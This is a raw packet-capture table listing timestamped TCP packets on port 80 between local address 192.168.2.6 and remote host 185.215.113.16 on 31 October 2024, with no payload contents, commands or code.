Oct 31, 2024 01:18:34.706336021 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.706342936 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.706355095 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.706360102 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.706382036 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.706393957 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.706394911 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.706418991 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.706427097 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.706429958 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.706443071 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.706461906 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.706482887 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.706517935 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.706566095 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.706578970 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.706588984 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.706602097 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.706614017 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.706639051 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.706667900 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.706687927 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.706703901 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.706716061 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.706727982 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.706729889 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.706749916 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.706784010 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.706800938 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.706814051 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.706825972 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.706849098 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.706850052 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.706862926 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.706873894 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.706885099 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.706896067 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.706896067 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.706908941 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.706914902 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.706943989 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.706948042 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.706959963 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.706971884 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.707005024 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.707022905 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.707051992 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.707062006 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.707062960 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.707075119 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.707099915 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.707101107 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.707135916 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.707138062 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.707149982 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.707186937 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.707223892 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.707237005 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.707269907 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.707273006 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.707284927 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.707303047 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.707323074 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.707330942 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.707341909 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.707365036 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.707371950 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.707384109 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.707396030 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.707408905 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.707423925 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.707427979 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.707441092 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.707453012 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.707464933 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.707474947 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.707475901 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.707503080 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.707544088 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.707556009 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.707571983 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.707582951 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.707586050 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.707611084 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.744103909 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.744123936 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.744148016 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.744194984 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.744214058 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.744225979 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.744235039 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.744237900 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.744261980 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.744376898 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.744389057 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.744412899 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.744415045 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.744422913 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.744434118 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.744445086 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.744447947 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.744456053 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.744467974 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.744477034 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.744496107 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.744507074 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.744512081 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.744517088 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.744522095 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.744528055 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.744533062 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.744538069 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.744559050 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.744560003 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.744570971 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.744579077 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.744582891 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.744587898 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.744594097 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.744599104 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.744604111 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.744609118 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.744613886 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.744618893 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.744640112 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.744652033 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.744677067 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.744689941 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.744700909 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.744704008 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.744723082 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.744745016 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.744770050 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.744781971 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.744792938 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.744798899 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.744828939 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.744843006 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.744853973 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.744854927 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.744874001 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.744884968 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.744888067 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.744898081 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.744910002 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.744924068 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.744945049 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.744966984 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.744986057 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.744996071 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.745003939 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.745007992 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.745028019 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.745035887 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.745040894 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.745059013 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.745066881 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.745079041 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.745090008 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.745095015 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.745102882 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.745112896 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.745122910 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.745129108 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.745145082 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.745152950 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.745163918 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.745181084 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.745191097 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.745198011 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.745214939 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.745222092 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.745233059 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.745243073 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.745254040 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.745263100 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.745264053 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.745281935 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.745305061 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.745356083 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.745373011 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.745383024 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.745392084 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.745429039 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.745433092 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.745454073 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.745457888 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.745470047 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.745491982 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.746104002 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.746115923 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.746131897 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.746148109 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.746159077 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.746162891 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.746170044 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.746181965 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.746191025 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.746192932 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.746206045 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.746216059 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.746217012 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.746228933 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.746238947 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.746241093 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.746253014 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.746253014 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.746265888 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.746277094 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.746284962 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.746289015 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.746301889 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.746304035 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.746314049 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.746325016 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.746325970 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.746351957 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.746371031 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.776228905 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.783498049 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.820728064 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.820746899 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.820758104 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.820810080 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.820812941 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.820839882 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.820852041 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.820858002 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.820863962 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.820875883 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.820888042 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.820899010 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.820900917 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.820910931 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.820921898 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.820938110 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.820947886 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.820955038 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.820960999 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.820971966 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.821001053 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.821003914 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.821012974 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.821022987 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.821034908 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.821036100 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.821046114 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.821057081 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.821063042 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.821091890 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.821170092 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.821183920 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.821203947 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.821206093 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.821218014 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.821229935 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.821238995 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.821243048 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.821274042 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.821302891 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.821317911 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.821330070 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.821337938 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.821341991 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.821367979 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.821396112 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.821405888 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.821418047 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.821428061 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.821444035 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.821512938 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.821523905 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.821533918 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.821544886 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.821556091 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.821566105 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.821573019 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.821577072 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.821600914 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.834976912 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.834989071 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.835002899 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.835028887 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.835040092 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.835052013 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.835062981 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.835077047 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.835117102 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.835124969 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.835128069 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.835124969 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.835124969 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.835139036 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.835150003 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.835161924 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.835175037 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.835175037 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.835175037 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.835232019 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.835248947 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.835262060 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.835277081 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.835288048 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.835293055 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.835299015 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.835310936 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.835329056 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.835330963 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.835367918 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.835378885 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.835381031 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.835381031 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.835391045 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.835402012 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.835412025 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.835421085 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.835424900 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.835438013 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.835447073 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.835448027 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.835460901 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.835474968 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.835484982 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.835499048 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.835503101 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.835515976 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.835520983 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.835526943 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.835539103 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.835547924 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.835549116 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.835562944 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.835573912 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.835585117 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.835587025 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.835598946 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.835619926 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.835619926 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.835627079 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.835639000 CET	80	49797	185.215.113.16	192.168.2.6
